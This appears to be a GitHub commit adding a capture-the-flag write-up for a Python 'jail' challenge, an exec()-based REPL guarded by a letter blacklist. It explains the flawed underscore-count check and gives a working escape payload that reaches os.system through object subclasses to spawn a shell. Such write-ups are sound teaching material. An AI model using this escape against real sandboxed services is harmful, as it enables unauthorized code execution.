-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
37 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
# python-jail | ||
|
||
## problem | ||
|
||
```py | ||
#!/usr/bin/env python | ||
|
||
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | ||
|
||
security_check = lambda s: any(c in blacklist for c in s) and s.count('_') < 50 | ||
|
||
def main(): | ||
while True: | ||
cmds = input("> ") | ||
if security_check(cmds): | ||
print("nope.") | ||
else: | ||
exec(cmds, {'__builtins__': None}, {}) | ||
|
||
|
||
if __name__ == "__main__": | ||
main() | ||
``` | ||
|
||
## solution | ||
|
||
here, the vulnerability is in the `security_check` function. | ||
|
||
the security check makes sure the count of underscores is above 50 for the check to pass (to return `False`), so adding a comment and then a bunch of underscores works because the code is evaluated using exec | ||
|
||
so the solution is as follows | ||
|
||
``` | ||
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('/bin/sh') # ________________________________________________________________________________________________________________________________________________ | ||
``` | ||
|
||
builtins is None but we have the Dockerfile so we can get the subclasses of `object` and then find os._wrap_close and then get the system function to achieve RCE. |